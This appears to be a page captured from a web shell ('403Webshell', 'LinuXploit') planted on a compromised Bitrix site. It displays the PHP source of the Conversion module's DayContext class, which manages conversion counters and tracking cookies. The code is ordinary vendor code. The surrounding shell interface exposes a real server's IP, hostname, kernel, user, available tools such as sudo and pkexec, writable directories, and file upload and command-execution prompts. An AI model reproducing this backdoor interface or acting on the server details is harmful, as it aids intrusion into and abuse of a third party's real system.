403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/conversion/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/conversion/lib/daycontext.php
<?php

namespace Bitrix\Conversion;

use Bitrix\Main;
use Bitrix\Main\Application;
use Bitrix\Main\Data\LocalStorage\SessionLocalStorage;
use Bitrix\Main\SiteTable;
use Bitrix\Main\EventManager;
use Bitrix\Main\Web\Json;
use Bitrix\Main\Type\Date;
use Bitrix\Main\ArgumentException;
use Bitrix\Main\ArgumentTypeException;

final class DayContext extends Internals\BaseContext
{
	/** @var self $instance */
	private static self $instance;

	private static array $contextData;

	/**
	 * Add value to counter. If counter not exists set counter to value.
	 *
	 * @param Date $day Counter date.
	 * @param string $name Counter name.
	 * @param int|float $value Number to add.
	 * @return void
	 */
	public function addCounter($day, $name, $value = null): void
	{
		if (func_num_args() === 2)
		{
			$value = $name;
			$name = $day;
			$day = new Date();
		}

		$instance = self::getInstance();

		if ($this->getId() === null && $this === $instance)
		{
			$context = self::getContextData();
			$context['PENDING_COUNTERS'] ??= [];
			$context['PENDING_COUNTERS'][$name] ??= 0;
			$context['PENDING_COUNTERS'][$name] += (float)$value;
			self::setContextData($context);
			unset($context);
		}
		else
		{
			parent::addCounter($day, $name, $value);
		}
	}

	/**
	 * Add value to counter (once a day per person). If counter not exists set counter to value.
	 *
	 * @param string $name Counter name.
	 * @param int|float $value Number to add.
	 * @return void
	 */
	public function addDayCounter($name, $value): void
	{
		$instance = self::getInstance();

		if ($this->getId() === null && $this === $instance)
		{
			$context = self::getContextData();
			$context['PENDING_DAY_COUNTERS'] ??= [];
			$context['PENDING_DAY_COUNTERS'][$name] = (float)$value;
			self::setContextData($context);
			unset($context);
		}
		else
		{
			$context = self::getContextData();
			if (!in_array($name, $context['UNIQUE'], true))
			{
				$context['UNIQUE'][] = $name;
				self::setContextData($context);

				$this->addCounter(new Date(), $name, $value);
				$this->setCookie();
			}
			unset($context);
		}
	}

	/**
	 * Subtraction value from counter. If counter not exists does anything.
	 *
	 * @param Date $day
	 * @param string $name
	 * @param int|float $value
	 * @return void
	 */
	public function subDayCounter($day, $name, $value): void
	{
		$this->subCounter($day, $name, $value);

		// is today - clear session
		$isToday = $day instanceof Date && $day->format('dmY') === date('dmY');
		if ($isToday)
		{
			$context = self::getContextData();
			$i = array_search($name, $context['UNIQUE'], true);
			if ($i !== false)
			{
				unset($context['UNIQUE'][$i]);
				self::setContextData($context);
				$this->setCookie();
			}
		}
	}

	/**
	 * Add currency value to counter. If counter not exists set counter to value.
	 *
	 * @param string $name Counter name.
	 * @param int|float|string $value Numeric value.
	 * @param string $currency Currency code (eg: RUB).
	 * @return void
	 */
	public function addCurrencyCounter($name, $value, $currency): void
	{
		$this->addCounter(new Date(), $name, Utils::convertToBaseCurrency($value, $currency));
	}

	/**
	 * Subtraction currency value from counter
	 *
	 * @param Date $day
	 * @param string $name
	 * @param int|float $value
	 * @param string $currency
	 * @return void
	 */
	public function subCurrencyCounter($day, $name, $value, $currency): void
	{
		$this->subCounter($day, $name, Utils::convertToBaseCurrency($value, $currency));
	}

	/**
	 * Attach entity item to context.
	 *
	 * @param string $entity Entity type.
	 * @param string|int $item Entity item ID.
	 * @throws ArgumentTypeException
	 * @return void
	 */
	public function attachEntityItem($entity, $item): void
	{
		if (!is_string($entity))
		{
			throw new ArgumentTypeException('entity', 'string');
		}

		if (!is_scalar($item))
		{
			throw new ArgumentTypeException('item', 'scalar');
		}

		$instance = self::getInstance();

		if ($this->getId() === null && $this === $instance)
		{
			$context = self::getContextData();
			$context['PENDING_ENTITY_ITEMS'] ??= [];
			$context['PENDING_ENTITY_ITEMS'][$entity . ':' . $item] = [
				'ENTITY' => $entity,
				'ITEM' => $item,
			];
			self::setContextData($context);
			unset($context);
		}
		else
		{
			try
			{
				Internals\ContextEntityItemTable::add([
					'CONTEXT_ID' => $this->id,
					'ENTITY' => $entity,
					'ITEM' => $item,
				]);
			}
			catch (\Bitrix\Main\DB\SqlQueryException)
			{
			}
		}
	}

	/**
	 * Get context of attached entity item.
	 *
	 * @param string $entity Entity type.
	 * @param string|int $item Entity item ID.
	 * @return self
	 */
	public static function getEntityItemInstance($entity, $item): self
	{
		$instance = self::getInstance();

		$context = Internals\ContextEntityItemTable::getRow([
			'select' => [
				'CONTEXT_ID',
			],
			'filter' => [
				'=ENTITY' => $entity,
				'=ITEM' => $item,
			],
		]);

		$contextId = (int)(!empty($context['CONTEXT_ID']) ? $context['CONTEXT_ID'] : self::EMPTY_CONTEXT_ID);
		if ($contextId !== $instance->getId())
		{
			$instance = new self;
			$instance->setId($contextId);
		}

		return $instance;
	}

	/**
	 * Returns context for given Site
	 *
	 * @param string $siteId Site ID.
	 * @return self
	 */
	public static function getSiteInstance($siteId): self
	{
		$siteId = (string)$siteId;

		$instance = self::getInstance();

		if (preg_match('/[a-z0-9_]{2}/i', $siteId) && self::getSiteId() !== $siteId && \CSite::getById($siteId)->fetch())
		{
			$instance = new self;

			$eventManager = EventManager::getInstance();
			foreach ($eventManager->findEventHandlers('conversion', 'OnSetDayContextAttributes') as $handler)
			{
				ExecuteModuleEventEx(
					$handler,
					[
						$instance,
					]
				);
			}
			unset($eventManager);

			$instance->setAttribute('conversion_site', $siteId);
			$instance->save();
		}

		return $instance;
	}

	/**
	 * Get day context singleton instance.
	 *
	 * @return self
	 */
	public static function getInstance(): self
	{
		if (!isset(self::$instance))
		{
			$instance = new self;

			$currentContext = self::getDataFromStorage();
			if ($currentContext === null)
			{
				$currentContext = self::getDataFromCookie();
			}
			if ($currentContext === null)
			{
				$currentContext = self::getDefaultData();
			}
			self::setContextData($currentContext);
			$instance->setId($currentContext['ID']);

			self::$instance = $instance;
		}

		return self::$instance;
	}

	/** @internal */
	private function setCookie(): void
	{
		//$session = self::$session;
		$session = self::getContextData();

		$cookie = new Main\Web\Cookie(
			self::getVarName(),
			Json::encode([
				'ID' => $session['ID'],
				'EXPIRE' => $session['EXPIRE'],
				'UNIQUE' => $session['UNIQUE'],
			]),
			strtotime('+1 year'),
			false
		);
		$cookie->setHttpOnly(false);

		Main\Context::getCurrent()->getResponse()->addCookie($cookie);
	}

	/** @internal */
	public static function saveInstance(): void
	{
		$instance = self::getInstance();

		if ($instance->getId() === null)
		{
			$eventManager = EventManager::getInstance();
			foreach ($eventManager->findEventHandlers('conversion', 'OnSetDayContextAttributes') as $handler)
			{
				ExecuteModuleEventEx(
					$handler,
					[
						$instance,
					]
				);
			}
			unset($eventManager);

			$instance->save();
		}

		$session = self::getContextData();
		$session['ID'] = $instance->getId();
		self::setContextData($session);
		$instance->setCookie();

		if (!empty($session['PENDING_COUNTERS']) && is_array($session['PENDING_COUNTERS']))
		{
			$date = new Date();
			foreach ($session['PENDING_COUNTERS'] as $name => $value)
			{
				$instance->addCounter($date, $name, $value);
			}
			unset($date);
		}

		if (!empty($session['PENDING_DAY_COUNTERS']) && is_array($session['PENDING_DAY_COUNTERS']))
		{
			foreach ($session['PENDING_DAY_COUNTERS'] as $name => $value)
			{
				$instance->addDayCounter($name, $value);
			}
		}

		if (!empty($session['PENDING_ENTITY_ITEMS']) && is_array($session['PENDING_ENTITY_ITEMS']))
		{
			foreach ($session['PENDING_ENTITY_ITEMS'] as $i)
			{
				$instance->attachEntityItem($i['ENTITY'], $i['ITEM']);
			}
		}
	}

	/** @internal */
	public static function getVarName()
	{
		static $name;

		if (!$name)
		{
			$name = 'BITRIX_CONVERSION_CONTEXT_' . self::getSiteId();
		}

		return $name;
	}

	/** @internal */
	public static function getSiteId()
	{
		static $siteId = null;

		if ($siteId === null)
		{
			if (defined('ADMIN_SECTION') && ADMIN_SECTION === true)
			{
				$row = SiteTable::getRow([
					'select' => [
						'ID',
						'DEF',
						'SORT',
					],
					'order'  => [
						'DEF' => 'DESC',
						'SORT' => 'ASC',
					],
					'cache' => [
						'ttl' => 86400,
					],
				]);
				if ($row)
				{
					$siteId = $row['ID'];
				}
			}
			else
			{
				$siteId = SITE_ID;
			}
		}

		return $siteId;
	}

	private static function getLocalStorage(): SessionLocalStorage
	{
		return Application::getInstance()->getLocalSession(self::getVarName());
	}

	private static function getDataFromStorage(): ?array
	{
		$storage = self::getLocalStorage();
		$data = $storage->getData();

		return self::checkStorageData($data) ? $data : null;
	}

	private static function setDataToStorage(array $data): void
	{
		$storage = self::getLocalStorage();
		$storage->setData($data);
	}

	private static function checkStorageData(mixed $data): bool
	{
		if (!is_array($data))
		{
			return false;
		}
		if (!is_int($data['ID'] ?? null))
		{
			return false;
		}
		if (($data['EXPIRE'] ?? null) !== self::getCurrentExpireValue())
		{
			return false;
		}
		if (!is_array($data['UNIQUE'] ?? null))
		{
			return false;
		}

		return true;
	}

	private static function getCurrentExpireValue(): int
	{
		$result = strtotime('today 23:59');

		return $result === false ? 0 : $result;
	}

	private static function getDefaultData(): array
	{
		return [
			'ID' => null,
			'EXPIRE' => self::getCurrentExpireValue(),
			'UNIQUE' => [],
		];
	}

	private static function getDataFromCookie(): ?array
	{
		$request = Main\Context::getCurrent()->getRequest();

		$cookie = $request->getCookie(self::getVarName());
		if ($cookie === null || $cookie === '')
		{
			return null;
		}
		try
		{
			$data = Json::decode($cookie);
		}
		catch (ArgumentException)
		{
			$data = null;
		}

		return self::checkCookieData($data) ? $data : null;
	}

	private static function checkCookieData(mixed $cookie): bool
	{
		if (!is_array($cookie))
		{
			return false;
		}
		if (!is_array($cookie['UNIQUE'] ?? null))
		{
			return false;
		}
		if (($cookie['EXPIRE'] ?? null) !== self::getCurrentExpireValue())
		{
			return false;
		}

		$id = $cookie['ID'] ?? null;
		if (!is_int($id))
		{
			return false;
		}
		if ($id === self::EMPTY_CONTEXT_ID)
		{
			return true;
		}

		$row = Internals\ContextTable::getRow([
			'select' => [
				'ID',
			],
			'filter' => [
				'=ID' => $id,
			],
		]);

		return $row !== null;
	}

	private static function setContextData(array $data): void
	{
		self::$contextData = $data;
		self::setDataToStorage(self::$contextData);
	}

	private static function getContextData(): array
	{
		return self::$contextData;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit